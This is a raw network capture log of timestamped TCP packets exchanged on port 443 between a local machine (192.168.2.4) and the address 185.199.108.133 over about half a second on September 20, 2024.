Sep 20, 2024 12:14:55.152961969 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.153337002 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.153394938 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.153415918 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.153426886 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.153462887 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.153482914 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.155035019 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.155076981 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.155118942 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.155128956 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.155157089 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.156548023 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.156594038 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.156621933 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.156634092 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.156666994 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.156688929 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.157114983 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.157151937 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.157187939 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.157198906 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.157227993 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.157247066 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.157828093 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.157866955 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.157910109 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.157926083 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.157953024 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.157973051 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.185512066 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.196285963 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.196372986 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.196430922 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.196445942 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.196512938 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.196543932 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.196597099 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.196630001 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.196638107 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.196664095 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.196676970 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.197336912 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.197402954 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.197412014 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.197429895 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.197477102 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.197494984 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.198420048 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.198462009 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.198514938 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.198522091 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.198554993 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.198591948 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.202478886 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.202526093 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.202596903 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.202605009 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.202645063 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.202665091 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.202718019 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.202766895 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.202794075 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.202804089 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.202862024 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.202940941 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.203031063 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.203073025 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.203119040 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.203126907 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.203155994 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.203176022 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.203836918 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.203891039 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.203924894 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.203932047 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.203958988 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.203979969 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.213753939 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.238518953 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.238562107 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.238620996 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.238634109 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.238661051 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.238684893 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.238755941 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.238795996 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.238826990 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.238837004 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.238863945 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.238881111 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.239967108 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.240010023 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.240045071 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.240103960 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.240143061 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.240164042 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.240981102 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.241022110 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.241049051 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.241059065 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.241089106 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.241112947 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.241930008 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.241969109 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.242012978 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.242023945 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.242050886 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.243026972 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.243697882 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.243736982 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.243771076 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.243781090 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.243808031 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.243827105 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.244363070 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.244402885 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.244430065 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.244440079 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.244472980 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.244491100 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.245100021 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.245141029 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.245168924 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.245179892 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.245218992 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.245238066 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.284456968 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.284507036 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.284569979 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.284586906 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.284615040 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.284641981 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.285471916 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.285521984 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.285537958 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.285551071 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.285576105 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.285598993 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.286256075 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.286299944 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.286328077 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.286334991 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.286360979 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.286372900 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.287261963 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.287326097 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.287342072 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.287410975 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.288243055 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.288283110 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.288307905 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.288317919 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.288341999 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.288361073 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.289279938 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.289324045 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.289352894 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.289361000 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.289381027 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.289525032 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.289562941 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.289572954 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.289585114 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.289604902 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.289638042 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.289663076 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.291716099 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.291757107 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.291831017 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.291837931 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.291857958 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.291884899 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.327158928 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.327186108 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.327260017 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.327325106 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.327364922 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.328011036 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.328035116 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.328077078 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.328095913 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.328114986 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.328119993 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.328134060 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.328174114 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.328187943 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.328216076 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.329205990 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.329231977 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.329250097 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.329284906 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.329312086 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.329323053 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.329395056 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.330015898 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.330034018 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.330082893 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.330100060 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.330127001 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.330877066 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.330897093 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.330935001 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.330946922 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.330977917 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.331012011 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.331782103 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.331798077 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.331840992 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.331870079 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.331901073 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.332566977 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.332593918 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.332629919 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.332640886 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.332669973 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.332690001 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.370732069 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.370779037 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.370815992 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.370836020 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.370860100 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.370882034 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.371143103 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.371191025 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.371212959 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.371218920 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.371242046 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.371262074 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.371886015 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.371932030 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.371965885 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.371974945 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.372001886 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.372019053 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.372586012 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.372627974 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.372657061 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.372664928 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.372682095 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.372701883 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.373325109 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.373369932 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.373389959 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.373399973 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.373424053 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.373445988 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.374244928 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.374286890 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.374314070 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.374321938 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.374340057 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.374361992 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.374381065 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.374423027 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.374439001 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.374450922 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.374483109 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.374500036 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.375212908 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.375256062 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.375288010 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.375308037 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.375329018 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.375346899 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.413903952 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.413929939 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.413990974 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.414053917 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.414092064 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.414323092 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.414474964 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.414494038 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.414541960 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.414555073 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.414582968 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.414640903 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.415250063 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.415267944 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.415324926 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.415337086 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.415364027 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.415402889 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.416078091 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.416099072 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.416150093 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.416161060 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.416188955 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.416210890 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.416507006 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.416524887 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.416579962 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.416594028 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.416641951 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.417792082 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.417809963 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.417860985 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.417871952 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.417902946 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.417922020 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.418418884 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.418437004 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.418498039 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.418510914 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.418570042 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.419224977 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.419248104 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.419331074 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.419342995 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.419370890 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.420041084 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.457788944 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.457835913 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.457887888 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.457900047 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.457932949 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.457952976 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.458194017 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.458235025 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.458262920 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.458270073 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.458293915 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.458309889 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.458833933 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.458877087 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.458898067 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.458908081 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.458930969 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.458952904 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.459609032 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.459651947 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.459680080 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.459686995 CEST	443	58639	185.199.108.133	192.168.2.4
